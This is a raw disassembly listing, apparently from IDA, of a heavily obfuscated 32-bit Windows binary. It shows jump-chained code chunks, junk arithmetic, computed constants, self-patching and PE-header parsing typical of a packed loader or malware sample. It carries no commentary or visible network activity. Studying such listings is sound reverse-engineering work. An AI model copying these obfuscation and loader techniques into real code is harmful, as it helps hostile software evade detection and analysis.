--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_1001CAE1: ; CODE XREF: sub_100188EE+39D8j js loc_100146A1 ; END OF FUNCTION CHUNK FOR sub_100188EE ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001CAE7: ; CODE XREF: sub_100193F2:loc_10014B92j ; sub_100193F2-B17j ... push offset loc_1001421D jmp loc_10017F72 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- xor ebp, 0D576DAB6h jmp loc_10019C2E ; --------------------------------------------------------------------------- loc_1001CAFC: ; CODE XREF: an.kk9rg:10018D26j mov eax, [esp] push edx call sub_10018FE5 ; START OF FUNCTION CHUNK FOR sub_1001D076 loc_1001CB05: ; CODE XREF: sub_1001D076+Ej jmp nullsub_138 ; END OF FUNCTION CHUNK FOR sub_1001D076 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001CB0A: ; CODE XREF: sub_10015B5D+5FAAj jge sub_100193B1 loc_1001CB10: ; CODE XREF: sub_10015B5D:loc_10019808j push offset loc_1001BBB9 jmp nullsub_149 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001CB1A: ; CODE XREF: sub_1001ABFD:loc_1001A376j ; sub_10017A58+5B88j jz loc_1001C9C1 jmp loc_10016115 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D1DB loc_1001CB25: ; CODE XREF: sub_1001D1DB-2E09j cmp dword ptr [eax], 0 jnz loc_1001D1EB jmp loc_1001989B ; END OF FUNCTION CHUNK FOR sub_1001D1DB ; =============== S U B R O U T I N E ======================================= sub_1001CB33 proc near ; CODE XREF: an.kk9rg:100197F4p ; sub_1001D1DB:loc_1001A3CCp ... ; FUNCTION CHUNK AT 10015532 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10015B9A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019126 SIZE 0000000B BYTES jnz sub_1001BAEE call sub_1001664C loc_1001CB3E: ; CODE XREF: sub_10014092+1BC6j jmp loc_10019126 sub_1001CB33 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001CB43: ; CODE XREF: sub_10013389:loc_1001525Cj jmp loc_1001AF47 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- sub ebp, ecx xchg edx, edi jmp sub_100159A8 ; --------------------------------------------------------------------------- loc_1001CB51: ; CODE XREF: an.kk9rg:100164AFj add ecx, 7640EFE4h push offset loc_10018099 jmp loc_10019A50 ; =============== S U B R O U T I N E ======================================= sub_1001CB61 proc near ; CODE XREF: an.kk9rg:100144B8p ; an.kk9rg:10016ADAj xchg edi, [esp+0] pop edi jz loc_1001A630 push offset sub_100145B9 jmp nullsub_214 sub_1001CB61 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001CB75: ; DATA XREF: sub_1001564A:loc_100158DBo jmp loc_1001541B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001CB7A: ; CODE XREF: sub_1001564A-1F98j ; an.kk9rg:loc_10014AA4j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- loc_1001CB7D: ; CODE XREF: an.kk9rg:1001C917j jmp loc_10018B21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136FF loc_1001CB82: ; CODE XREF: sub_100136FF:loc_10018B9Dj ; an.kk9rg:loc_1001B27Dj jl loc_10013674 ; END OF FUNCTION CHUNK FOR sub_100136FF ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_1001CB88: ; CODE XREF: sub_100174F4-1F5Cj ; sub_10015BFC+2B2Ej jmp loc_10013982 ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014189 loc_1001CB8D: ; CODE XREF: sub_10014189+20D6j jmp loc_1001B620 ; END OF FUNCTION CHUNK FOR sub_10014189 ; --------------------------------------------------------------------------- loc_1001CB92: ; CODE XREF: an.kk9rg:10014749j jmp nullsub_11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001CB97: ; CODE XREF: sub_10013389+18Dj jmp loc_100141D8 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- or ecx, eax cdq sub edx, esi xor edx, eax jmp loc_10013673 ; =============== S U B R O U T I N E ======================================= sub_1001CBA8 proc near ; CODE XREF: an.kk9rg:10016053j ; sub_1001B8D3-248Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 100154A3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10015722 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 100163E0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017F60 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001A113 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001B13E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 1001D14E SIZE 0000000B BYTES xchg edi, [esp+0] pop edi loc_1001CBAC: ; CODE XREF: an.kk9rg:1001AAD4j cmp byte ptr [eax], 0F1h jnz loc_10017F65 jmp loc_1001D14E sub_1001CBA8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_1001CBBA: ; CODE XREF: sub_1001498A:loc_1001CCD4j mov [ebp-0Ch], eax mov eax, [ebp-0Ch] call sub_100194EA ; END OF FUNCTION CHUNK FOR sub_1001498A ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_1001CBC5: ; CODE XREF: sub_1001B096:loc_1001C233j jmp loc_100177D0 ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001CBCA: ; CODE XREF: sub_10017394-11F2j jmp loc_10017AA8 ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001CBCF: ; CODE XREF: sub_10013389:loc_100188CBj jno loc_10017D9D inc ds:dword_10018608 lea eax, nullsub_9 push offset sub_1001D3C3 jmp nullsub_163 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019C34 loc_1001CBEB: ; CODE XREF: sub_10019C34:loc_1001C3E1j push eax push 0 call sub_1001CB33 pop eax cmp dword ptr [eax], 0 push offset sub_1001A3BE jmp nullsub_120 ; END OF FUNCTION CHUNK FOR sub_10019C34 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1001CC01 proc near ; CODE XREF: sub_1001D50B:loc_100198B2j retn sub_1001CC01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001CC02: ; CODE XREF: sub_10015B5D+28E3j jmp loc_10019808 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- loc_1001CC07: ; CODE XREF: an.kk9rg:10014D9Dj jmp loc_1001C4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D201 loc_1001CC0C: ; CODE XREF: sub_1001D201+9B8j adc edx, 7DBC0D1Ah pop eax rol esi, 6 loc_1001CC16: ; CODE XREF: sub_1001D201:loc_10015511j mov [ebp-18h], eax mov dword ptr [ebp-0Ch], 1 ; END OF FUNCTION CHUNK FOR sub_1001D201 ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001CC20: ; CODE XREF: an.kk9rg:100180A4j ; sub_10018066+5069j lea eax, [ebp-14h] push eax jmp loc_10017532 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001CC29: ; CODE XREF: sub_100193F2:loc_10016E80j or ecx, ecx jz loc_1001D07F loc_1001CC31: ; CODE XREF: sub_1001A97E:loc_1001D4BCj call sub_10018B90 jnz loc_10014AFA mov ecx, [ebx+edx-4] push offset byte_1001477D jmp nullsub_121 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; =============== S U B R O U T I N E ======================================= sub_1001CC4A proc near ; CODE XREF: an.kk9rg:1001A624j ; sub_1001D88D-65Ep arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10015E8A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001D457 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov edx, 0A22F8A70h call sub_1001DECE mov ds:dword_10013FE0, eax call sub_100180C2 call sub_10019BB6 loc_1001CC67: ; CODE XREF: sub_10016D04:loc_100135DDj ; sub_1001CF8D+Ap xchg eax, [esp+0] pop eax mov eax, [ebp+8] push eax mov eax, [ebp+8] jmp loc_1001D457 sub_1001CC4A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_1001CC77: ; CODE XREF: sub_10013044+78Cj sbb ecx, esi jmp loc_10016E64 ; END OF FUNCTION CHUNK FOR sub_10013044 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- sbb ebp, 4B405F6Ch ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001CC85: ; CODE XREF: sub_1001CF40-3DACj jmp loc_10017CF3 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_1001CC8A: ; CODE XREF: sub_10018C4D+229Aj add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h mov [ebp-10h], eax mov eax, [ebp-10h] jmp loc_1001321D ; --------------------------------------------------------------------------- loc_1001CCA0: ; CODE XREF: sub_10018C4D:loc_100170AFj xor eax, eax jmp loc_1001B9F4 ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CCE loc_1001CCA7: ; CODE XREF: sub_10014CCE:loc_10016E70j push offset sub_10014418 jmp nullsub_123 ; END OF FUNCTION CHUNK FOR sub_10014CCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190EB loc_1001CCB1: ; CODE XREF: sub_100190EB+17j mov eax, [ebp+8] or dword ptr [eax-8], 4 mov eax, [ebp-4] movzx eax, byte ptr [eax] mov edx, [ebp+8] jmp loc_10017052 ; --------------------------------------------------------------------------- loc_1001CCC6: ; CODE XREF: sub_100190EB:loc_100190F2j cmp dword ptr [ebp-14h], 4 call sub_1001AEBC loc_1001CCCF: ; CODE XREF: sub_10016A1B+147Dj jmp nullsub_124 ; END OF FUNCTION CHUNK FOR sub_100190EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_1001CCD4: ; CODE XREF: sub_1001498A+A26j jmp loc_1001CBBA ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100140A5 loc_1001CCD9: ; CODE XREF: sub_100140A5+5j jmp nullsub_125 ; END OF FUNCTION CHUNK FOR sub_100140A5 ; =============== S U B R O U T I N E ======================================= sub_1001CCDE proc near ; DATA XREF: sub_1001677A+5021o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10017C1F SIZE 00000005 BYTES popf xchg ecx, [esp-4+arg_0] jmp loc_10017C1F sub_1001CCDE endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_133. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_1001CCE8: ; CODE XREF: sub_10017A58+11j ; sub_1001C2D8:loc_1001B0E0j jmp loc_1001609C ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001CCED: ; CODE XREF: sub_10013061:loc_1001C9C9j xor edx, 33BD7FEAh rol edx, 5 and edx, 4B0CDE2Bh cmp edx, 0E01D21E2h jmp loc_10019E8A ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015633 loc_1001CD07: ; CODE XREF: sub_10015633:loc_10014E12j cmp dword ptr [ebp-14h], 6 setz al jmp loc_1001900B ; END OF FUNCTION CHUNK FOR sub_10015633 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001CD13: ; CODE XREF: sub_10013688:loc_1001AE94j call sub_1001C547 loc_1001CD18: ; DATA XREF: an.kk9rg:loc_1001708Eo push edx push esi push offset sub_1001453F jmp loc_1001B9EF ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- loc_1001CD24: ; DATA XREF: sub_10018DE4+Bo mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_1001C0CC mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] loc_1001CD3C: ; CODE XREF: an.kk9rg:loc_1001D37Aj add eax, 18h jmp loc_10016DE2 ; --------------------------------------------------------------------------- locret_1001CD44: ; CODE XREF: an.kk9rg:100191E8j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001CD45: ; CODE XREF: sub_10015D9E:loc_100195EEj jge loc_10018A92 loc_1001CD4B: ; CODE XREF: an.kk9rg:1001C5ADj jmp nullsub_154 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- xchg ebp, [eax] jmp loc_10018A88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_1001CD57: ; CODE XREF: sub_10013999+7D37j jz loc_100156FD jmp loc_1001A671 ; END OF FUNCTION CHUNK FOR sub_10013999 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001CD63: ; CODE XREF: sub_10017394+359Ej jmp loc_1001A67B ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- loc_1001CD68: ; CODE XREF: an.kk9rg:1001B079j mov edi, [esi] and ebp, 7AABBB13h ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001CD70: ; CODE XREF: sub_10019409:loc_1001B068j add eax, 7E011474h mov eax, [eax] or eax, eax jnz loc_10013800 jmp loc_10013766 ; END OF FUNCTION CHUNK FOR sub_10019409 ; =============== S U B R O U T I N E ======================================= sub_1001CD85 proc near ; CODE XREF: sub_10019571+2F52j ; FUNCTION CHUNK AT 10015D48 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10015FB4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100172C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100174B5 SIZE 00000006 BYTES push ebx push 4A8B8247h pop ebx and ebx, 7F1E1598h jns loc_10015D48 sub_1001CD85 endp ; START OF FUNCTION CHUNK FOR sub_10019030 loc_1001CD98: ; CODE XREF: sub_10019030+3EEEj jmp loc_10019847 ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100175DE loc_1001CD9D: ; CODE XREF: sub_100175DE-4493j jmp loc_1001DA78 ; END OF FUNCTION CHUNK FOR sub_100175DE ; --------------------------------------------------------------------------- test ecx, 0CD96FE79h jmp loc_1001429B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001CDAD: ; CODE XREF: sub_1001A97E:loc_100158FAj jz loc_1001B834 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; START OF FUNCTION CHUNK FOR sub_1001A365 loc_1001CDB3: ; CODE XREF: sub_1001A365-8B1j jmp loc_1001A7D4 ; END OF FUNCTION CHUNK FOR sub_1001A365 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_1001CDB8: ; CODE XREF: sub_1001BB72-328Aj jmp loc_10019813 ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001CDBD: ; CODE XREF: sub_10019409-5203j jmp loc_1001A8EF ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- adc edx, 48A2C69Ch jmp loc_100145A2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_222. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_1001CDCE: ; CODE XREF: sub_100145ED+4F7Fj popf sub edx, 0CB73F2FCh or ecx, 0C9EFDEC8h ; END OF FUNCTION CHUNK FOR sub_100145ED ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001CDDB: ; CODE XREF: sub_10018AB1:loc_100140FAj mov esi, [eax] jmp loc_100165B2 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001CDE2: ; CODE XREF: sub_10019E2E:loc_1001D1ACj ; sub_10019E2E+339Dj xor edx, 0C535F06Ch add edx, 0D539ABB0h add edx, ebp add edx, 7A530A3Ah mov edx, [edx] jmp loc_1001A656 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- xchg eax, ebx adc esi, edx jmp sub_10018E56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_1001CE06: ; CODE XREF: sub_1001537B+628Fj jz loc_100155C2 jmp loc_1001472F ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- loc_1001CE11: ; DATA XREF: sub_1001620D+5EC4o pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001CE13: ; CODE XREF: sub_10013688+781Fj jmp loc_10016352 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D201 loc_1001CE18: ; CODE XREF: an.kk9rg:10019056j ; sub_1001D201+Cj inc dword ptr [ebp-18h] call sub_100141E3 loc_1001CE20: ; CODE XREF: sub_100156CB+2000j jmp loc_10015511 ; END OF FUNCTION CHUNK FOR sub_1001D201 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_1001CE25: ; CODE XREF: sub_1001BB72-5258j jmp loc_10015BAF ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_1001CE2A: ; CODE XREF: an.kk9rg:10018982j ; sub_10019595:loc_100195A5j cmp edi, edx jmp loc_10016718 ; END OF FUNCTION CHUNK FOR sub_10019595 ; --------------------------------------------------------------------------- loc_1001CE31: ; CODE XREF: an.kk9rg:loc_10018269j mov eax, 9E849D81h push ecx push 148C32B8h pop ecx xor ecx, 9452B7FFh add ecx, 8F2349DCh jmp loc_1001DD83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001CE4E: ; CODE XREF: sub_10013389+3E1Ej ; sub_10014189:loc_10017F93j call sub_100180C2 push 2A231FBDh pop edx or edx, 0EBBF2861h and edx, 0E323904Dh sub edx, 0EABDD155h jmp loc_1001AD0B ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001CE70: ; CODE XREF: sub_1001ABFD:loc_10017987j mov al, [eax] js loc_10018F06 sub al, 99h mov edx, [ebp+var_4] imul byte ptr [edx] jmp loc_10014865 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_1001CE84: ; CODE XREF: sub_1001504E:loc_100198ACj cmp al, 0A4h jz loc_10017304 jmp loc_10018378 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- loc_1001CE91: ; CODE XREF: an.kk9rg:10016B57j jz loc_100132B5 jmp loc_100174FF ; --------------------------------------------------------------------------- loc_1001CE9C: ; DATA XREF: sub_10013389:loc_10016DD0o push ecx push 0B0CDAED3h pop ecx rol ecx, 7 or ecx, 95C45C8h test ecx, 8000000h jmp loc_1001B10F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AEBC loc_1001CEB8: ; CODE XREF: sub_1001AEBC+16j jmp nullsub_131 ; END OF FUNCTION CHUNK FOR sub_1001AEBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001CEBD: ; CODE XREF: sub_10013389+F41j jmp loc_10017776 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001CEC2: ; CODE XREF: sub_10019409:loc_1001B6F5j or eax, eax loc_1001CEC4: ; CODE XREF: an.kk9rg:loc_1001B057j jz loc_1001C5F2 cmp eax, 0FFFFFFFFh jz loc_1001C5F2 push offset loc_1001C5EB jmp nullsub_132 ; END OF FUNCTION CHUNK FOR sub_10019409 ; =============== S U B R O U T I N E ======================================= sub_1001CEDD proc near ; CODE XREF: an.kk9rg:10017F9Ep ; an.kk9rg:1001D590j ; FUNCTION CHUNK AT 100171DF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10017DDE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019B96 SIZE 00000020 BYTES xchg ecx, [esp+0] pop ecx push ecx push 0D43D1A9Ah pop ecx xor ecx, 34162783h js loc_10019B96 sub_1001CEDD endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001CEF4: ; CODE XREF: sub_10013389+A269j jmp loc_100171D4 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100183D9 loc_1001CEF9: ; CODE XREF: sub_100183D9+Fj jmp nullsub_199 ; END OF FUNCTION CHUNK FOR sub_100183D9 ; --------------------------------------------------------------------------- loc_1001CEFE: ; CODE XREF: an.kk9rg:10018971j jnz loc_10019115 jmp loc_10017BEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_1001CF09: ; CODE XREF: sub_10019030:loc_10014F89j pop esi and esi, 0FF4E33E0h sub esi, ds:100000C5h xor esi, 6AFAD3FAh add edx, esi jmp loc_1001CD98 ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- mov ds:dword_10002020, eax lea eax, nullsub_196 mov byte ptr [eax], 0C3h jmp loc_1001585B ; --------------------------------------------------------------------------- loc_1001CF37: ; CODE XREF: an.kk9rg:100188A6j mov eax, [esp] push edx jmp loc_10013108 ; =============== S U B R O U T I N E ======================================= sub_1001CF40 proc near ; CODE XREF: sub_1001C2D8-6AF9p ; an.kk9rg:1001D5E7j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 1001308B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013662 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014501 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10014BED SIZE 0000001A BYTES ; FUNCTION CHUNK AT 100169E4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001729A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10017937 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017CF3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018F6D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001918C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10019210 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100199CD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AD61 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B0D8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001BB62 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001C818 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C9C6 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 1001CC85 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D857 SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx add eax, 0BC91051Ah mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_1001C9C6 jmp loc_1001AD61 sub_1001CF40 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D461 loc_1001CF5A: ; CODE XREF: sub_1001D461-9A28j add eax, ebp add eax, 0EC13DBDCh mov eax, [eax] mov al, [eax] jmp loc_1001ABF8 ; END OF FUNCTION CHUNK FOR sub_1001D461 ; --------------------------------------------------------------------------- loc_1001CF6B: ; CODE XREF: an.kk9rg:10016D56j jnz loc_1001643D jmp loc_1001AA75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001CF76: ; CODE XREF: sub_10017394+32EBj jb loc_1001610B test ebx, 1FC86895h jmp loc_100144BD ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_1001CF87: ; CODE XREF: sub_1001A12F+57Fj cdq jmp loc_10016E50 ; END OF FUNCTION CHUNK FOR sub_1001A12F ; =============== S U B R O U T I N E ======================================= sub_1001CF8D proc near ; DATA XREF: sub_10013389+3889o test byte ptr [eax-10h], 38h jnz loc_1001D271 call loc_1001CC67 sub_1001CF8D endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_100175DE loc_1001CF9C: ; CODE XREF: an.kk9rg:loc_100185A8j ; sub_100175DE+FF1j jmp loc_10019163 ; END OF FUNCTION CHUNK FOR sub_100175DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_1001CFA1: ; CODE XREF: sub_10017CF8-14D5j jmp loc_1001B893 ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001CFA6: ; CODE XREF: sub_1001A97E:loc_100149B5j jz loc_1001D684 jmp loc_1001A52E ; END OF FUNCTION CHUNK FOR sub_1001A97E ; =============== S U B R O U T I N E ======================================= sub_1001CFB1 proc near ; DATA XREF: sub_1001CD85-6DC8o lea eax, nullsub_160 push offset loc_1001A4BF jmp nullsub_162 sub_1001CFB1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_1001CFC1: ; CODE XREF: sub_10017D86:loc_1001784Bj mov edi, ebx jmp loc_10016BD7 ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- loc_1001CFC8: ; DATA XREF: sub_10019B0D+Fo xchg ecx, [esp] mov ebp, ecx pop ecx retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_1001CFCF: ; CODE XREF: sub_1001456F+Cj jz loc_1001DF17 jmp loc_10015D94 ; END OF FUNCTION CHUNK FOR sub_1001456F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001CFDA: ; CODE XREF: sub_1001C535+14DFj jns loc_1001978F shr edx, 14h mov ebx, edi xor esi, 579DD146h loc_1001CFEB: ; CODE XREF: sub_1001C535:loc_10017437j mov eax, 0A2CD59D9h call sub_100181E1 push offset sub_10017315 jmp nullsub_135 ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015CBE loc_1001CFFF: ; CODE XREF: sub_10015CBE+Bj jp loc_1001B178 popf jmp loc_1001448E ; END OF FUNCTION CHUNK FOR sub_10015CBE ; --------------------------------------------------------------------------- xor edx, 6E0D7C02h jmp sub_1001533A ; --------------------------------------------------------------------------- xchg edx, esi jmp loc_1001A5E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001D01D: ; CODE XREF: sub_100136D7:loc_10016294j jz loc_10017F60 jmp loc_10016BC5 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_1001D029: ; CODE XREF: sub_10013BB8+7620j jmp loc_100195CC ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; --------------------------------------------------------------------------- loc_1001D02E: ; CODE XREF: an.kk9rg:10015BD0j jmp locret_10019228 ; --------------------------------------------------------------------------- locret_1001D033: ; CODE XREF: an.kk9rg:1001908Fj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017D86 loc_1001D034: ; CODE XREF: sub_10017D86+Cj jmp loc_10019518 ; END OF FUNCTION CHUNK FOR sub_10017D86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_1001D039: ; CODE XREF: sub_10015BFC+71Aj jmp loc_1001A9B0 ; END OF FUNCTION CHUNK FOR sub_10015BFC 